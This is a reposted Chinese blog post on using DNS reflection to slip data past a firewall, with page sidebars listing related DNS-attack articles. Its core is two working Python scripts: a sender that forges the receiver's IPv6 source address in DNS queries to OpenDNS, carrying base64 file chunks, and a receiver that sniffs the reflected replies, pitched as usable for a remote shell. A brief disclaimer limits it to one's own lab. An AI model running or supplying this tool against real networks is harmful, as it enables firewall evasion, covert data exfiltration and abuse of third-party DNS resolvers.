利用DNS反射绕过防火墙进行通信

DNS安全研究学习超详细总结 DNS安全研究摘要DNS典型攻击与防范DNS反射放大攻击随机子域/非存在域名攻击DNS 缓存投毒攻击DNS 劫持DNS隧道DNS重定向应对DNS攻击的方法应对 DNS 反射放大的防范方法应对 DNS 缓存投毒攻击的防范方法应对 DNS 劫持的防范方法应对 DNS 隧道攻击的防范方法对于 DNS 服务器本身漏洞的防范DNS的一些安全机制DNSSEC基于服务群的 DNS 安全抗毁技术基于隐私保护技术的 DNS 通信协议基于多层级限速的 DNS 安全防护技术DNS面临的技术挑战DNS未来发展 摘要 DNS(Dom 阅读详情

域名系统(Domain Name System)几乎和互联网一样古老。它的特殊结构也使它早就成为黑客的利用对象。在这篇短文中,我将详细描述DNS反射的原理,为什么黑客喜欢使用它,以及你为什么要用它。

让我们想象一个网络场景,某道防火墙仅允许内网和Linux软件安装包存储库以及DNS服务器进行通信。这意味着从攻击者的计算机发送的数据包到达不了受害者的服务器,反之亦然。为了突破防御,我们需要“篡改”IP包的源地址,让防火墙认为这个数据包是由白名单中的IP发出的。

为什么黑客通常会使用DNS服务器进行反射(DDoS攻击)?主要原因是DNS回复流量远远大于对应的请求流量,这样就可以放大黑客的DoS流量,增强攻击的破坏力;而另一个原因则是DNS请求使用的是非面向连接的UDP协议。因此,现在有不少管理员都在防火墙上配置阻断DNS流量。

为什么你也需要使用DNS反射?假设你想与上图中的服务器通信,能相互交流(例如一个远程shell)。有一个很容易而且很常见的方法就是创建自己的DNS服务器,然后通过虚假的DNS查询进行通信。这的确是一个很好的方法,但我想向你展示一种无需设置任何额外的服务器而进行通信的方法,只需要利用IPv6即可,它的直连特性(不存在NAT)极大帮助了我们。

以下两端Python示例代码可把一个文件发送到另一个台电脑中,且无需两台机器能够互相通信。主要通过把文件拆分成60字节的数据块(单个域名的最大长度域),再辅以DNS反射技术实现的。

请在完全属于你的网络环境中进行以下实验,不要去攻击任何DNS服务器。
Sender code:

#!/usr/bin/python3
from kamene.all import *
import base64,time,sys    

dnsaddr = "2620:119:35::35"    # OpenDNS as an example
send_delay = 0.8
def send_packet(ip,packet_data):
    encoded_message = base64.b64encode(packet_data.encode('ascii'))+b'-'
    encoded_message_size = len(encoded_message)
    for i in range(0,encoded_message_size,60):
        data = encoded_message[i:i+60]
        DNSpacket = IPv6(dst=dnsaddr,src=ip)/UDP(sport=RandShort())/DNS(id=1337,rd=0,z=0,tc=1,qd=DNSQR(qname=data,qtype="A",qclass="IN"))
        send(DNSpacket,verbose=0)
        time.sleep(send_delay)
if len(sys.argv)<3:
    print(f'{sys.argv[0]}receiver_ipv6_addr data_file')
    sys.exit()
send_packet(sys.argv[1],open(sys.argv[2]).read())

Receiver code:

#!/usr/bin/python3
import logging    
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from kamene.all import *
import base64,sys    
def receive_packet(listen_iface):
    data = bytearray()
    while not b'-' in data    :
        DNSPacket = sniff(iface=listen_iface,filter="src port 53",count=1)
        if(DNSPacket[0].haslayer(DNS))and(DNSPacket[0].getlayer(DNS).id==1337):
            data += (DNSPacket[0].getlayer(DNS).qd.qname[:-1])
    print(base64.b64decode(data[:-1]).decode('ascii'),end='')
if len(sys.argv)<2:
    print(f'{sys.argv[0]}listen_interface')
    sys.exit()
receive_packet(sys.argv[1])

http://www.45zq.cn/portal/article/index/id/201.html

DNS协议安全 许多企业的防火墙会拦截内部员工直接访问外部网站的 HTTP/TCP 连接,但通常会放行 DNS 流量,因为员工需要解析域名才能工作。阴影域名:黑客攻破了合法网站(如 example.com)的管理权,创建了恶意的子域名(如 bad.example.com)。DNS 协议在设计之初就像是在“明信片”上写字,任何人都可以拦截、修改(中间人攻击),或者伪造一张新的明信片发给你(欺骗/投毒)。:为了防止命令控制服务器(C&C)的域名被封杀,僵尸程序会内置一套算法,每天自动生成成千上万个随机域名。 阅读详情

相关推荐

分布式DNS反射DDoS攻击检测及控制技术

分布式DNS反射DDoS攻击已经成为拒绝服务攻击的主要形式之一,传统的基于网络流量统计分析和网络流量控制技术已经不能满足防护需求。提出了基于生存时间值(TTL)智能研判的DNS反射攻击检测技术,能够准确发现伪造源IP地址分组;基于多系统融合的伪造源地址溯源阻断技术,从源头上阻断攻击流量流入网络。

浅析 DNS 反射放大攻击

DNS 反射放大攻击分析前阵子业务上碰到了 DDOS 攻击,正好是 DNS 反射型的,之前只是听过,没自己处理过,仔细学习了一番之后做点记录。简介DNS 反射放大攻击主要...

easylife206的专栏 6394

Qlib数据获取避坑指南:从CSV导入到自定义数据源的完整解决方案

本文详细解析了Qlib数据获取的完整解决方案,从CSV导入到自定义数据源,涵盖了股票数据处理的关键技巧和常见陷阱。特别针对Qlib平台的数据格式要求和复权处理提供了实用指南,帮助量化投资者高效整合Wind等第三方数据源,确保数据质量与模型性能。

weixin_29047919的博客 304

盘点几种常见的DNS攻击类型

由于DNS系统庞大的数据资源以及其天生薄弱的安全防护能力,使得其逐渐成为网络攻击的重点对象。近年来,针对DNS的攻击事件与日俱增,攻击类型也呈多样化、复杂化发展趋势。下面,中科三方就简单介绍下几种常见的DNS攻击类型。 1.DNS劫持 DNS劫持又称域名劫持,这类攻击一般是通过恶意软件、修改缓存、控制域名管理系统等方式取得DNS解析控制权,然后通过修改DNS解析记录或更改解析服务器方式,将用户引导至不可达的站点或受攻击者控制的非法网站,以达到非法获取用户数据,谋取非法利益的目的。 2.缓存投毒 攻击者将非法

weixin_53018687的博客 5488

Win11下WSL2安装Ubuntu22.04避坑指南:从镜像源到C++环境配置

本文提供了一份详细的Win11下WSL2安装Ubuntu22.04的实战避坑指南。内容涵盖从WSL2核心安装、自定义安装路径,到更换国内镜像源以解决更新缓慢问题,并一站式配置完整的C++开发环境(包括GCC、CMake、vcpkg等),最后分享提升开发体验的进阶技巧,助你在Windows上打造高效的Linux开发工作站。

weixin_29260291的博客 562

管道机器人手臂机械结构设计cad【8张】+三维图+设计说明书+绛重

履带式管道机器人适用于各种管道环境,包括直管道、弯曲管道、水平管道、垂直管道等,其灵活性和适应性使得它可以应对不同形状和尺寸的管道,完成全面的检测和维护工作。管道机器人研究具有重要的现实意义和深远的社会影响,通过提高工作效率、降低人员风险、提升服务质量、节约成本资源和促进科技创新等方面的作用,为现代工程技术领域的发展和进步做出了积极的贡献。管道机器人是一种能够在管道内部执行各种任务的智能机器人,而管道机器人的机械臂对于管道机器人在管道内执行任务的灵活性、稳定性和效率至关重要。

kejigongjiang的博客 943

绕过防火墙限制的两种方法

您是否碰到过这种情况,您所在的公司或学校的主机装有防火墙,由于这些防火墙的限制,使你不能随意去看某些网页或访问某些服务器,如果你回到“是”,那么就恭喜你了,因为我有办法绕过这些防火墙。   方法一:用网页转向功能   有些网站提供网页转向功能,那个提供这个功能的服务器就好像是代理一样差不多,这种方法过滤防火墙的原理如下:   假设一个防火墙不允许用户去看http://www.bux

≡≡奋斗中的猫≡≡ 3万+

SpringBoot实现电子发票生成

电子发票是近年来比较流行的一种票据形式,它取代了以往传统的纸质发票,具有减少纸张浪费、方便有效查验等优点。本文将介绍如何使用Spring Boot和Vue.js构建一个仿真电子发票生成应用程序,借助微信二维码扫描功能和第三方库,实现用户扫描二维码获取发票信息并填写相关开票信息,最后生成电子发票。在本文中,我们介绍了如何使用Spring Boot和Vue.js构建一个仿真电子发票生成应用程序,借助微信二维码扫描功能和第三方库,实现用户扫描二维码获取发票信息并填写相关开票信息,最后生成电子发票。

不愧是暮言的博客 6090

常见的DNS攻击与防御

DNS查询通常都是基于UDP的,这就导致了在查询过程中验证机制的缺失,黑客很容易利用该漏洞进行分析。接下来我们就重点介绍安全领域比较常见的一些DNS攻击以及相应的防御措施。

tigerman20201的博客 1947

软件工程导论考试通关秘籍:太原理工大学历年真题解析(附答案)

本文为太原理工大学《软件工程导论》考试提供高效备考指南,通过解析近六年真题,揭示高频考点如软件生命周期、UML建模和结构化设计等核心模块的命题规律。文章提供真题拆解、实战策略和避坑指南,帮助考生掌握图形转换题和简答题的应答技巧,助力考试通关。

weixin_29233333的博客 227

AI编程工具深度横评2026:Claude Code × Cursor × Trae × OpenCode,7场景实测+完整免费配置

2026年AI编程工具已进入"自主Agent"时代:Claude Code以80.8% SWE-bench得分领跑编程能力,Cursor 3在用户体验和多Agent协作方面突出,GitHub Copilot保持企业市场优势。这些工具分别代表不同的使用哲学:命令行原生、IDE分支、平台集成、编辑器扩展和后起之秀。本文从开发者视角出发,通过7个真实编程场景的系统性测试,给出每款工具在具体场景下的表现评估和免费使用完整配置方案。所有代码均可直接复制运行,所有工具均有免费使用路径。

撂爪就忘的博客 5781

浅谈DNS系统和DNS防火墙的必要性

DNS(Domain Name System,域名系统)是互联网中用于将域名转换成IP地址的系统。它是互联网的重要基础设施之一,提供了域名和IP地址之间的映射关系,使得用户可以通过易于记忆的域名来访问互联网上的资源。

qingfengguixiaox的博客 1374

ConvNeXt 改进 :ConvNeXt添加GnConv递归门控卷积,二次创新CNBlock结构 ,独家首发

视觉 Transformer 在多种任务中取得了显著的成功,这得益于基于点积自注意力的新空间建模机制。视觉 Transformer 中的关键因素——即输入自适应、长距离和高阶空间交互——也可以通过卷积框架高效实现。作者提出了递归门控卷积(Recursive Gated Convolution,简称 gnConv),通过门控卷积和递归设计执行高阶空间交互。该新操作具有高度的灵活性和可定制性,兼容各种卷积变体,并将自注意力中的二阶交互扩展到任意阶数,而不会引入显著的额外计算。

在职AI算法工程师,擅长计算机视觉,YOLO目标检测、分割等,擅长web、pyqt界面可视化,好内容持续更新中,来这里跟大家一起学习,共同进步 234

web渗透测试----31、检测到绕过web应用防火墙

WAF(web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。 文章目录一、WAF的工作原理二、WAF的常见功能三、WAF种类四、WAF的判断五、WAF的绕过六、WAF指纹七、部分WAF指纹 一、WAF的工作原理 WAF工作在web服务器之前,对基于HTTP/HTTPS协议的通信进行检测和识别。在用户请求到达web服务器前对用户请求进行扫描和过滤,分析并校验每个用户请求的网络包,确保每个用户的请求安全且有效,对无效或有攻击行为的请求进行阻断或隔离。

七天 5941

Triton server的部署、构建、backend插件机制代码梳理、模型加载、自定义C++backend流程

Triton inference server的部署、构建、backend机制代码详细梳理、模型加载过程、自定义C++backend流程.

C/C++、嵌入式开发、深度学习算法、模型部署与推理优化 473

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

预防DNS 解析器安全威胁

DNS 解析器是一种计算机程序或工具,用于将域名解析为对应的 IP 地址。DNS(Domain Name System)是互联网上用于将域名(例如 example.com)转换为相应 IP 地址(例如 192.0.2.1)的系统。DNS 解析器通过查询 DNS 服务器来获取域名的 IP 地址,使得计算机能够通过域名访问到相应的网站或服务。

ITmoster的博客 1361

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

[译文] 恶意代码分析:3.利用DNS隧道进行跟踪和扫描

前文介绍了LNK文件伪装成证书执行RokRAT恶意软件,并利用Powershell命令发起无文件攻击和执行相关行为。这篇文章将详细讲解DNS隧道的两个新技术——跟踪和扫描。 在扫描过程中,攻击者利用DNS隧道技术扫描受害者的网络基础设施,并收集对未来攻击有用的信息;在追踪过程中,攻击者则运用DNS隧道技术来追踪恶意电子邮件的发送,并监控CDN的使用情况。基础性技术文章,希望您喜欢!

杨秀璋的专栏 1823

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

十种常见的DNS攻击类型

针对域名系统(DNS)的攻击,已经成为制约企业数字化转型的一个严重问题,每年都有数千个网站成为DNS攻击的受害者。最新的研究数据表明,2023年企业组织与DNS攻击相关的损失同比增加了49%,这些损失不仅体现在企业的财务方面,还包括对内部系统、云上应用、商誉上造成的损害。

qq_41432686的博客 1172

DNS风险分析及安全防护研究(四):DNS DDoS攻击与防御

如果攻击者在客户主机对递归服务器发起DDoS攻击,则受攻击的递归服务器将承受5倍的攻击压力,可以很好地达到“以小博大”的攻击效果,同时由于DNS的多层次查询结构,导致各级域名服务器都会遭受DDoS攻击的影响。在早期关于DNS的RFC规范文档中,UDP报文大小被限制在512字节以内,但随着互联网的发展,为了支持IPv6、DNSSEC等,DNS服务器对特定DNS查询返回的应答报文长度超过了512字节,利用这种扩展机制,一个60字节的DNS查询报文即可得到超过4000字节的应答报文。

weixin_53018687的博客 1134

【网络安全】警惕!2024年十大DNS攻击类型来袭

目前,针对域名系统(DNS)的攻击已经成为企业组织数字化发展中的一个严重问题,每年都有数千个网站成为此类攻击的受害者。据最近的研究数据显示,2023年企业组织与DNS攻击相关的损失同比增加了49%,这些损失不仅是在企业的财务方面,还包括对组织内部系统和云上应用造成的损害。企业如果要保护网络免受此类攻击,前提就是要了解不同类型的DNS攻击,并找到相对应的缓解方法。在本文中,研究人员详细介绍了当前最危险的10种DNS攻击类型以及原理,并给出了相应的预防建议。

A1_3_9_7的博客 1066

2024年需要重点关注的10种 DNS 攻击类型

2024年需要重点关注的10种 DNS 攻击类型

XRY_XIAO的博客 1312

网络安全高级攻击与绕过技术(非常详细)从零基础入门到精通,收藏这篇就够了

DDoS:一群“僵尸粉”疯狂刷屏,让你服务器直接宕机!CC:模拟真实用户狂点“刷新”,榨干你服务器最后一滴血!

Libra1313的博客 1052

简析DNS攻击的常见类型、危害与防护建议_dns隧道攻击怎么防护

域名系统(DNS)是一种结构化的命名系统,是Internet基础结构的关键部分。目前,针对DNS的攻击已经成为网络安全中的一个严重问题,每年都有数千个网站成为此类攻击的受害者。为了保护网络免受此类攻击,重要的是要了解不同类型的DNS攻击,并找到相对应的缓解方法。

yy1715713348的博客 1848

反射型XSS进阶利用:从弹窗验证到页面劫持与防御旁路实战

跨站脚本攻击(XSS)是Web安全领域的核心漏洞类型之一,其本质是攻击者通过注入恶意脚本,在用户浏览器中执行未授权操作。该漏洞的成因通常源于Web应用对用户输入未进行充分过滤和输出编码,导致恶意代码被浏览器解析执行。从技术原理看,XSS攻击成功利用了浏览器的同源策略,使注入的脚本能在目标网站的源下运行,从而获得读取Cookie、操作DOM等权限。其技术价值在于,一个看似简单的漏洞可被升级为窃取敏感信息、实施钓鱼攻击甚至完全劫持用户会话的实战武器。在应用场景上,XSS常出现在搜索框、评论栏、URL参数等用户输

wangqiaowqo的专栏 516

盘点网络安全常见的DNS攻击类型!

当这些攻击以适当的规模进行控制时,集体反射的情况就会变得明显,即多个终端广播伪造的UDP请求,生成的确认消息将指向单个目标。发生DNS劫持攻击时,攻击者会操纵域名查询的解析服务,导致访问被恶意定向至他们控制的非法服务器,这也被成为DNS投毒或DNS重定向攻击。如果攻击者获得了DNS 数据的控制权,则域名劫持也可能发生在DNS层面上。常见的基础设施组件,如负载均衡器、防火墙、入侵防御系统和利用服务器,都可能容易受到SYN波攻击的影响,即使是设计用于管理数百万个连接的高容量设备也可能因这种攻击而瘫痪。

oldboyedu1的博客 400
上一篇: 在高通手机猫上捕获无线2G/3G/4G数据包的工具QCSuper
下一篇: 通过DNS发送文件和payload的工具DNSlivery
TENCENTSYS
博客等级 码龄8年 19粉丝 52原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值